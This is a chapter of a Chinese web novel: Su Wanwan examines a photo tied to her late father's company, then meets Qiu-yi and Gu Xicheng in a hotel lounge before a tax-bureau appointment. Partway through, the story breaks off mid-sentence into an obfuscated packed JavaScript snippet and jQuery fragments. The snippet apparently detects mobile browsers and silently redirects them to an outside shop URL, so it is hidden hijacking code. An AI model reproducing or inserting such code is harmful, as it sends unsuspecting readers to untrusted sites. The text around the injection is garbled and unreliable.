第三天傍晚，她蹲在酒店浴室的地板上，把那本菜谱翻出来，拆开封皮，抽出信封，撕开封口。
里面是一张照片。
背景是傅家别墅的后院，那座她亲手改了三稿的喷泉。照片里站着两个人——年轻的男人和她的父亲。傅衍之那时候大概二十五六岁，穿一件深灰色的夹克，头发比现在短一些，脸上没有后来那种被商业会议磨出来的冷硬棱角。她父亲站在他旁边，一只手搭在他肩上，像是在交代什么事情。两个人的表情都很放松，像是刚谈完一件值得高兴的事。
照片背面有一行字，蓝黑色墨水，是她不认识的笔迹：“2001年秋，龙首山花园——合作备忘录签署日。”
苏晚晚盯着那行字看了很久。她父亲去世前一周，她十一岁，继母说他走得很安详。她没见到最后一面。后来她才慢慢拼凑出父亲最后那段时间在忙什么——他在找人接手苏氏实业，因为身体撑不住了。而在那个“合作备忘录”签署的第二年春天，傅家拿到了苏氏百分之四十的股权转让。
她的拇指按在那行字上，来回摩挲了一遍。然后把照片翻过来，背面是空白的，什么也没写。
她把照片重新放回信封，塞进菜谱封皮的夹层里，站起来换了件衣服。今天下午秋姨托人送来请柬，是一行灰色斜体字印在米白色卡纸上——“四季酒店顶楼酒廊，今晚八点。秋姨盼叙。”
苏晚晚七点四十分从酒店出发，步行过去。四季酒店在凯悦斜对面，隔着一条种满梧桐的商业街，走过去大约十二分钟。她到的时候，门童替她拉开玻璃门，大堂里飘着淡淡的栀子花香薰味，穿黑色制服的服务生端着托盘穿梭，托盘上的香槟杯在灯光下泛着细碎的光。
她没有去找秋姨，而是先去了洗手间。
站在洗手台前，她打开水龙头，把手掌浸在冷水里，抬头看了一眼镜子。她今天穿了前天在折扣店买的那件白衬衫，洗过两次，领口稍微软了一些，扎进一条深蓝色的半身裙里，裙摆到膝盖。头发扎成低马尾，耳后别了一枚黑色的一字夹。
她从口袋里摸出一支口红——酒店mini吧里送的试用装，小得只有食指长。她旋开盖子，对着镜子涂上，抿了抿，把边角擦掉。淡玫瑰色的，跟她平时用的不一样。
她把口红盖子拧紧，放进口袋里，走出去。
酒廊在四十六楼。电梯门打开的时候，灯光暗了下来，换成了暖调的琥珀色。落地窗外是整座锦城的夜景，灯光密集得像一块被烧穿的金色丝绸。酒廊里人不多，三三两两地散落在沙发和卡座之间，说话声很轻，被环绕的低音放大的爵士乐掩住了调子。
她看见了秋姨。秋姨坐在靠窗的卡座里，今天穿了件米白色的针织开衫，头发还是那个低低的发髻，那枚银色兰花的发卡稳稳地别在鬓角。她正在跟一个穿深灰色西装的男人说话，侧面对着入口。苏晚晚走过去的时候，秋姨恰好抬头看到她，微微点了下头，然后继续听完那个男人说的话，站起来，拍了拍他的手臂表示告别。
“来，坐。”秋姨拍了拍旁边的沙发。
苏晚晚坐下来，目光下意识地扫了一圈酒廊。角落里有一架三角钢琴，没有人弹，琴盖上搁着一杯没喝完的威士忌。窗边站着一个服务生，正在往花瓶里插新鲜的绣球花。落地窗外，一架飞机的航灯从城市上空慢慢移过，像一粒红色的星。
“你住的地方还习惯吗？”秋姨问，语气很随意，像是问一个常客今天茶好不好喝。
“很好。”苏晚晚说，“谢谢秋姨。”
“不是我安排的。”秋姨端起桌上的茶喝了一口，目光落在窗外的夜景上，“是老顾安排的。他做事一向细致。”
苏晚晚没有接话。她端起服务生刚放下的茶，低头吹了吹，没喝。
秋姨放下杯子，侧过头看着她，目光在她脸上停了两秒。“你今天涂了口红。”她说，语气里带着一丝几乎察觉不到的、像是老裁缝看到学徒终于学会走线的笑意。
“酒店的试用装。”苏晚晚说。
“好看。”秋姨说完这两个字，没有继续这个话题。她从手包里取出一个深蓝色的信封，放在桌上，推到苏晚晚面前。“明天下午三点，锦城市税务局稽查科，三楼会客室。会有人在那里等你。你带着你手里的东西去——能给你什么就看你自己怎么说了。”
苏晚晚看着那只信封，没有立刻拿起来。她的手指在膝盖上握紧了一下，又松开。
“秋姨，”她说，“您不看看我带什么去？”
“不看。”秋姨拿起茶杯，“我只看我该看的。你的事情，你知道该怎么做。”
苏晚晚拿起信封，放进帆布袋里。袋子底下只有那本菜谱和一张房卡，信封的棱角硌在指尖上，清晰的触感像一根压在书页里的书签。
她抬起头正要说什么——目光掠过酒廊入口的时候，忽然顿住了。
一个人正走进来。
深灰色衬衫，袖口挽到小臂，领口没系领带。他的步伐很稳，每一步落下去都是同一个节奏，像是被人调过精度。走进门的时候，他的目光习惯性地扫过全场，像长时间坐会议桌的人养成的职业性扫描，不会让任何角落逃出视线范围。
然后他看到了她。
顾西城停住了脚步——不，不是停住了，他是刚好走到了该停的位置，站在入口和酒廊主区之间的那道窄窄的过渡带上，头顶的光线和脚下地毯的颜色在那里有一个微妙的分界。他没有继续往前走，也没有后退，就像一只穿过门廊的指针，恰好落在了刻度上。
他的目光落在她脸上，停了一下，然后移开，落在秋姨身上。
“秋姨。”他走过来，打了声招呼。
秋姨抬起头看他，笑了一下。“来了。”
他微微点了下头，在秋姨对面的空位上坐下来。服务生走过来，他说了句“黑咖啡”，然后目光转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741809|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
向苏晚晚，像是忽然想起来还有一个人在场，礼貌地点了一下头。他开口的时候，语气平淡得像在确认一个已经知道答案的事实：“出门的时候看了天气预报，今晚可能会下雨。”
他说这话时，指尖正搭上咖啡杯的把手——那只杯子的杯底印着一朵浅金色的桂花，像是某家老咖啡店的定制款。他的拇指恰好落在花瓣的边缘，轻轻划过一道弧线。
苏晚晚看着他，觉得他说的这句话跟今天的场合似乎没有直接关系，但又不像是随口说的。她注意到杯沿那个细小的动作——像是一句只有他自己听得见的话。她犹豫了半秒，接了一句：“我带了伞。”
“那就好。”顾西城说，目光从她脸上收回去，落在自己面前那杯刚放下的咖啡上。杯沿没有水汽，咖啡是滚烫的，但他像握着常温的杯子那样随意地拿起来喝了一口。
秋姨看着两个人，没有打圆场，也没有岔开话题。她只是慢悠悠地喝了一口茶，像是看一出不用急着演到结局的戏。
过了片刻，她说：“老顾，你明天下午有没有空？”
顾西城放下咖啡杯：“有。”
“那就一起去吧。晚晚明天去税务局，一个人去那种地方，总归是冷的。有个人陪着走出来，路会宽一点。”
顾西城没有立刻应。他转头看了苏晚晚一眼，像是在等她说话。
苏晚晚沉默了两秒。“不用了。”她说。
秋姨没有坚持。她放下茶杯，站起来，理了理针织衫的下摆。“我去跟老朋友打个招呼。你们聊。”
她走了。
卡座里只剩下两个人。灯光暗了一个调子，爵士乐换了一首，萨克斯的声音从角落里流出来，软绵绵的，像在水里泡过。
苏晚晚低头看着茶杯里浮在水面上的那片茶叶，一片完整的，边缘微微卷起，像是被水慢慢泡开了。顾西城坐在对面，没有看她——他在看窗外的夜景。下颌线条在琥珀色的灯光下显得很深，眼皮低垂，像是刚从一场漫长的旅途里走出来，还没来得及卸下那层薄薄的疲惫。
“那张卡，”他开口了，声音不大，被音乐声盖住了三分之一，“开门的时候，会亮绿灯。”
苏晚晚抬起头看他。
他没有解释这句话的意思，只是拿起咖啡杯又喝了一口，然后站起来，从口袋里掏出一张钞票放在桌上。“咖啡钱放这里了。明天下午三点，税务局门口。天气预报说下午有雨。”
他走出酒廊。
苏晚晚坐在原地，看着他那杯只喝了一半的黑咖啡，杯沿沾着一圈浅浅的咖啡渍，已经凉了。底座的桂花图案在杯沿下露出半朵，像是被时间磨去了光泽的旧纹章。
电梯门关上之前，她的手机亮了一下。一条新消息，号码没有存过，没有备注名，只有一行字：“雨天路滑，走慢一点。”
她没有回复，把手机翻了个面，屏幕朝下，握在手心里，跟着电梯缓缓下落。